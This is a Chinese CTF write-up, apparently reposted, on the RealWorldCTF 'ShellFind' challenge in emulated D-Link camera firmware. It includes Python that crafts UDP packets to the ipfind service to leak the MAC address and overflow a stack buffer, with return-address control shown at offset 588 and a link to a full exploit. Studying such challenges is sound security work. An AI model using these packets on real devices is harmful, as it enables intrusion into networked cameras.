CTF特训日记day3

复现一下RWCTF5th shellfind题目

题目描述如下:


Hello Hacker.
You don't know me, but I know you.
I want to play a game. Here's what happens if you lose.
The device you are watching is hooked into your Saturday and Sunday.
When the timer in the back goes off,
your curiosity will be permanently ripped open.
Think of it like a reverse bear trap.
Here, I'll show you.
There is only one UDP service to shell the device.
It's in the stomach of your cold firmware.
Look around Hacker. Know that I'm not lying.
Better hurry up.
Shell or out, make your choice.

题目首先给了一个firmware.bin,解包以后有一大堆东西,根据题目的描述知道漏洞应该是出在某个UDP服务上了,至于具体是哪个,最好还是将固件模拟起来以后,通过查看开放了哪些服务来决定分析方向。

这里使用的是firmAE工具进行模拟,成功模拟起来了设备并且还进入了shell
在这里插入图片描述

这为解题提供了很大的帮助,接下来查看一下开放了哪些UDP服务,使用自带的busybox功能不全,netstat没有-p参数无法查看对应进程,可以使用firmadyne目录下的工具

在这里插入图片描述

在这里可以看到开放了udp服务的程序有两个,分别是ddp和ipfind,范围已经缩小了非常多,接下里分别对两个服务程序进行分析。

在ddp程序中,整个程序只有这一个数据接收点
!在这里插入图片描述
看样子也是位于一个主循环结构中,程序获取udp数据然后取出前面几位数据按照规则拼成v11,v12,v13,v14作为后续的命令控制字段,涉及的命令程序如factory_reset、set_simple_wifi_info等,一个个分析过去就好。

分析后会发现,这些程序承担了一些比较基础的功能性操作,其本身基本不涉及什么内存操作,也没有可以命令注入的机会,但是有一个函数看上去还算有点可疑:

在几乎每个函数中都会有一个checkAuthentication函数,样子如下:
在这里插入图片描述
其中a1和a2是我们传入的数据,解码以后直接存放到栈上,栈空间是两个256字节大小的空间,其调用者长这样:
在这里插入图片描述

而recvfrom的大小的0x400,解完base64后最长可以达到768,第二个参数以86作为起点也仍然可以解出长度700的数据,是远比256要大的,理论上来讲这里其实存在栈溢出。

不过这里似乎并不是作者希望我们去分析的地方,从diff的结果来看作者其实着重修改了ipfind程序,接下来再来分析一下ipfind:

在这里插入图片描述

首先建立socket然后设置sa_family为2,表示使用udp协议,然后设置sa_data为62720表示使用62720端口,完成bind以后ipfind正式启动。

在这里插入图片描述
通过recvfrom函数接收数据以后进行一系列的格式检查
第一个if要求前四字节为FIVI且第九字节为10
依此可暂时写出:

data='FIVI'
data+='\x00\x00\x00\x00'
data+='\x0a'

第二层if会根据v7的值进行选择,v7等于1并且满足另外一些条件可进入sub_40172c

v7等于2并且v22与目标的mac地址相同则进入sub_4013F4

换句话来说,想进入sub_40172c,仅凭现有信息是足够的,想进入sub_4013F4则需要额外知道目标的mac地址,由于我们是firmAE直接模拟的题目,所以其实是可以直接看的,但是为了模拟做题场景,此时远程的mac我们应该是无法确认的。

先看sub_40172c函数:

在这里插入图片描述

函数中通过cfgRead获取了大量的设备相关信息,并将他们写入到v8这个结构中
在这里插入图片描述
然后将他们发回给我们,也就是说先进入这个函数,可以获取到设备信息的回显。既然如此那就先获取信息试试看。

v7的具体实现为

v7 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&data[2] + 1)) << 8) | ((unsigned int)(BYTE2(data[2]) | (BYTE1(data[2]) << 8)) >> 8));

这里推荐gpt,分析这种简短但恶心的小代码还是挺好用的
在这里插入图片描述
所以数据配置现在为

data='FIVI'
data+='\x00\x00\x00\x00'
data+='\x0a'
data+='\x01\x00'

v7解决完走到最后一个if,也就是

if ( !v8 && !memcmp(v21, v23, 6u) && !v17 )

其中v8是

v8 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&data[5] + 3)) << 8) | ((unsigned int)(HIBYTE(data[6]) | (LOBYTE(data[5]) << 8)) >> 8));

要保证v8是0直接让涉及到的数据都为0就可以

memcmp这里限制了data[4]+1开始的六个字节都是0xff
所以写出如下data

data='FIVI'
data+='\x00\x00\x00\x00'
data+='\x0a'
data+='\x01\x00'
data+='\x00'
data+='\x00\x00\x00\x00'
data+='\x00'
data+='\xff'*6

最后看一下v17,同理全为零即可,于是得到触发sub_40172C的最终payload

data='FIVI'
data+='\x00\x00\x00\x00'
data+='\x0a'
data+='\x01\x00'
data+='\x00'
data+='\x00\x00\x00\x00'
data+='\x00'
data+='\xff'*6
data+='\x00\x00\x00'

用python创建好udp套接字发给题目ipfind对应端口试试看

import socket
from pwn import *

context(os='linux', arch='mips', endian='big', log_level='debug')

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')

ip = '192.168.0.1'
port = 62720

r = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
lg('[+] open connection')

data=b'FIVI'
data+=b'\x00\x00\x00\x00'
data+=b'\x0a'
data+=b'\x01\x00'
data+=b'\x00'
data+=b'\x00\x00\x00\x00'
data+=b'\x00'
data+=b'\xff'*6
data+=b'\x00\x00\x00'

r.sendto(data, (ip, port))

recv_data, recv_addr = r.recvfrom(1024)

li(recv_data)

运行以后成功获得了回显,其中能够比较明显看出来的是比如DCS-960L这种设备名称
在这里插入图片描述
接下来涉及到要把其中的mac地址提取出来,需要关注一下72c里的这个函数
在这里插入图片描述
程序通过net_get_hwaddr获取mac地址并存入了a1+17的位置,也就是说在响应包偏移为17的地方存放的是mac地址。

写个小函数提取一下

def get_macaddr(macdata):
    macaddr=hex(macdata[0])[2:]
    for i in range(5):
        macaddr+=":"
        macaddr+=hex(macdata[i+1])[2:]
    return macaddr

在这里插入图片描述

可以看到已经提取到了br0的正确mac地址

接下来尝试进入v7等于2时的函数,头部的改动不是很多

data=b'FIVI'
data+=b'\x00\x00\x00\x00'
data+=b'\x0a'
data+=b'\x02\x00'
data+=b'\x00'
data+=b'\x00\x00\x00\x00'
data+=b'\x00'
data+=mac
data+=b'\x00\x00\x8e'

原本的六个0xff变成了mac地址,然后data[6]+1需要等于0x8e,然后v7记得改成2,别的就不用动了,主要看函数里面

在这里插入图片描述
函数会在进入主逻辑之前有一个类似验证的函数sub_400e50
在这里插入图片描述

又是直接将base64解码的结果直接放到了栈上,这次的栈空间还是不足的,我们可以输入的缓冲区大小足足有0x800,这里的base64第二次解码所放到的地址v7距离栈底才0x244大小,完全不够,所以存在栈溢出。

使用gdbserver进行远程调试,用gdb-mul连即可
在这里插入图片描述
接下来需要先测试一下偏移,使用cyclic生成0x700大小的垃圾数据并发送:

data=b'FIVI'
data+=b'\x00\x00\x00\x00'
data+=b'\x0a'
data+=b'\x02\x00'
data+=b'\x00'
data+=b'\x00\x00\x00\x00'
data+=b'\x00'
data+=mac
data+=b'\x00\x00\x8e'
data=data.ljust(0x5d,b'\x00')

payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaar'

data+=base64.b64encode(payload)

r.sendto(data,(ip,port))

可以看到程序的返回地址已经被覆盖成了垃圾数据
在这里插入图片描述
查询一下具体的偏移可知为588
在这里插入图片描述
然后尝试精确控制返回地址为0x61616161

data=b'FIVI'
data+=b'\x00\x00\x00\x00'
data+=b'\x0a'
data+=b'\x02\x00'
data+=b'\x00'
data+=b'\x00\x00\x00\x00'
data+=b'\x00'
data+=mac
data+=b'\x00\x00\x8e'
data=data.ljust(0x5d,b'\x00')

payload=b'\x00'*588+b'a'*4

data+=base64.b64encode(payload)

r.sendto(data,(ip,port))

可以看到在ra寄存器已经被控制为0x61616161
在这里插入图片描述
接下来就要思考如何获取shell,由于got表可改,且程序本身就自带system表项,如果选择改got表是比较方便的一种做法,但是由于题目本身不出网,所以必须复用此udp端口,导致无法通过执行命令下载木马或者反弹shell,虽然能够执行的命令比较长,可以使用echo的方式强行写入一个二进制程序去执行,但是由于涉及到端口复用,会可能会出现奇奇怪怪的错误。

如果使用ret2shellcode的方式,则需要寻找一些好用的gadget,让$ra最后能够跳转到我们可写shellcode的栈地址上去。

ret2shellcode可以看这个exp:
https://github.com/fxc233/CTF/blob/main/IOT/RealWorldCTF-5th-ShellFind/exp.py

需要注意的地方还是比较多的

  • 注意恢复$gp寄存器的值
  • 寻找能够泄露栈地址的gadget,这里的泄露不是指打印出来,而是能够流转到我们可控的寄存器或者指定的地址上去
  • 寻找能够根据指定寄存器进行跳转的gadget

整个exp读下来觉得几个gadget无论是找的还是组合在一起利用的都挺妙的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/215353.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

颠覆性语音识别:单词级时间戳和说话人分离

vbenjs/vue-vben-admin[1] Stars: 19.7k License: MIT Vue Vben Admin 是一个免费开源的中后台模板&#xff0c;使用最新的 vue3、vite4 和 TypeScript 等主流技术进行开发。该项目提供了现成的中后台前端解决方案&#xff0c;并可用于学习参考。 使用先进的前端技术如 Vue3/…

简单可行的SeruatV4的安装方案

目前Seurat的版本从V4升级到了V5&#xff0c;由于一些变化&#xff0c;导致当年取巧&#xff0c;使用获取数据的方法都无法在V5中使用。 建议在操作前重启下Rstudio&#xff08;或更确切的说是R&#xff09;&#xff01;&#xff01;&#xff01; 那么如何确保自己能够安装V4的…

python之ddddocr快速识别

1. 安装模块 pip install ddddocr -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com2. 编写代码 import ddddocr # 导入orc模块 import logging # 导入日志 logging.getLogger().setLevel(logging.INFO) # 设置日志级别 def ComputeCode(path):try:logg…

基于轻量级模型GHoshNet开发构建眼球眼疾识别分析系统,构建全方位多层次参数对比分析实验

工作中经常会使用到轻量级的网络模型来进行开发&#xff0c;所以平时也会常常留意使用和记录&#xff0c;在前面的博文中有过很多相关的实践工作&#xff0c;感兴趣的话可以自行移步阅读即可。 《移动端轻量级模型开发谁更胜一筹&#xff0c;efficientnet、mobilenetv2、mobil…

浅谈安科瑞ASJ继电器在马尔代夫环岛水上排屋的应用

摘要&#xff1a;对电气线路进行接地故障保护&#xff0c;方式接地故障电流引起的设备和电气火灾事故越来越成为日常所需。针对用户侧主要的用能节点&#xff0c;设计安装剩余电流继电器&#xff0c;实时监控各用能回路的剩余电流状态。通过实时监控用能以及相关电力参数、提高…

ESP32-Web-Server编程-简单的照片浏览器

ESP32-Web-Server编程-简单的照片浏览器 概述 从本节开始我们开始制作一些有趣的多媒体 Web 的示例。 当你希望在网页上展示一些广告、照片&#xff0c;或者你的开发板带摄像头&#xff0c;能够采集一些图片&#xff0c;这时你希望可以通过手头的浏览器查看图片&#xff0c;…

Mover Creator 用户界面

1 “开始”对话框 首次打开 Mover Creator 时&#xff0c;出现的第一个页面是“开始”对话框&#xff0c;如下所示。从这里开始&#xff0c;用户可以选择开始设计飞机、武器或发动机。在上述每种情况下&#xff0c;用户都可以创建新模型或编辑现有模型。 1.1 新建模型 如果用…

线上超市小程序可以做什么活动_提升用户参与度与购物体验

标题&#xff1a;线上超市小程序&#xff1a;精心策划活动&#xff0c;提升用户参与度与购物体验 一、引言 随着移动互联网的普及&#xff0c;线上购物已经成为人们日常生活的一部分。线上超市作为线上购物的重要组成部分&#xff0c;以其便捷、快速、丰富的商品种类和个性化…

金蝶云星空单据体明细权限和表单插件操作事件的先后顺序

文章目录 金蝶云星空单据体明细权限和表单插件操作事件的先后顺序顺序说明结论 金蝶云星空单据体明细权限和表单插件操作事件的先后顺序 顺序说明 先分录菜单单击事件EntryBarItemClick 再验权 后表单操作执行事件BeforeDoOperation 结论 如果是需要鉴权通过才允许操作的逻辑…

浅谈用户体验测试的主要功能

用户体验(User Experience&#xff0c;简称UX)在现代软件和产品开发中变得愈发重要。为了确保产品能够满足用户期望&#xff0c;提高用户满意度&#xff0c;用户体验测试成为不可或缺的环节。本文将详细探讨用户体验测试的主要功能&#xff0c;以及它在产品开发过程中的重要性。…

得帆云助力容百科技构建CRM系统,实现LTC全流程管理

宁波容百新能源科技股份有限公司 宁波容百新能源科技股份有限公司&#xff08;以下简称“容百科技”&#xff09;于2014年9月建立&#xff0c;是高科技新能源材料行业的跨国型集团公司。专业从事锂电池正极材料的研发、生产和销售&#xff0c;于2019年登陆上交所科创板&#x…

YouTube Premium 会员白嫖教程

前言 YouTube是美国Alphabet旗下的视频分享网站&#xff0c;也是目前全球最大的视频搜索和分享平台&#xff0c;同时允许用户上传、观看、分享及评论视频 1、点击自己的头像&#xff0c;点击购买内容与会员 2、点击免费试订 3、这里选择个人 4、点击开始试用一个月 5、添加一…

力扣543. 二叉树的直径(java DFS解法)

Problem: 543. 二叉树的直径 文章目录 题目描述思路解题方法复杂度Code 题目描述 给你一棵二叉树的根节点&#xff0c;返回该树的 直径 。 二叉树的 直径 是指树中任意两个节点之间最长路径的 长度 。这条路径可能经过也可能不经过根节点 root 。 两节点之间路径的 长度 由它们…

Python----练习:使用面向对象实现报名系统开发

第一步&#xff1a;分析哪些动作是由哪些实体发出的 学生提出报名 学生提供相关资料 学生缴费 机构收费 教师分配教室 班级增加学生信息 于是&#xff0c;在整个过程中&#xff0c;一共有四个实体&#xff1a;学生、机构、教师、班级&#xff01;在现实中的一个具体的实…

Kali Linux三种网络攻击方法总结(DDoS、CC和ARP欺骗)

本文章使用的是Kali Linux的2020-4-installer-amd64版本 Kali Linux的安装过程本文章不做过多说明&#xff0c;请自行百度 请正确使用DDos和CC攻击&#xff0c;不要用来做违反当地法律法规的事情&#xff0c;否则后果自负 CSDN大礼包&#xff1a;《黑客&网络安全入门&am…

使用DevEco Studio时遇见的错误情况与问题

第一个 问题:打开项目文件,控制台报错 hvigor ERROR: Unable to find sdk.dir in local.properties or OHOS_BASE_SDK_HOME in the system environment path. 解决办法:在项目根目录中打开local.properties。如果没有local.properties,自己创建。 在local.properties中填…

tNavigator 23.2 x64

Rock Flow Dynamics&#xff08;RFD&#xff09;很高兴地宣布发布我们旗舰产品tNavigator的最新版本。版本 23.2 现在可供用户使用。 tNavigator长期以来一直被认为是油藏工程师和地质学家的强大工具&#xff0c;可为复杂的油藏行为提供准确的建模和模拟。最新版本为所有模块带…

numpy知识库:基于numpy绘制灰度直方图

前言 对于灰度图像而言&#xff0c;灰度直方图可以统计灰度图像内各个灰度级出现的次数。 灰度直方图的横坐标是灰度图像中各像素点的灰度级。灰度的数值范围为[0, 255]。因此&#xff0c;如果将图像分为256个灰度级&#xff0c;那么每个灰度级唯一对应一个灰度&#xff1b;如…

【JVM系列】Class文件分析

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

GPU深度学习性能的三驾马车:Tensor Core、内存带宽与内存层次结构

编者按&#xff1a;近年来&#xff0c;深度学习应用日益广泛&#xff0c;其需求也在快速增长。那么&#xff0c;我们该如何选择合适的 GPU 来获得最优的训练和推理性能呢&#xff1f; 今天&#xff0c;我们为大家带来的这篇文章&#xff0c;作者的核心观点是&#xff1a;Tensor…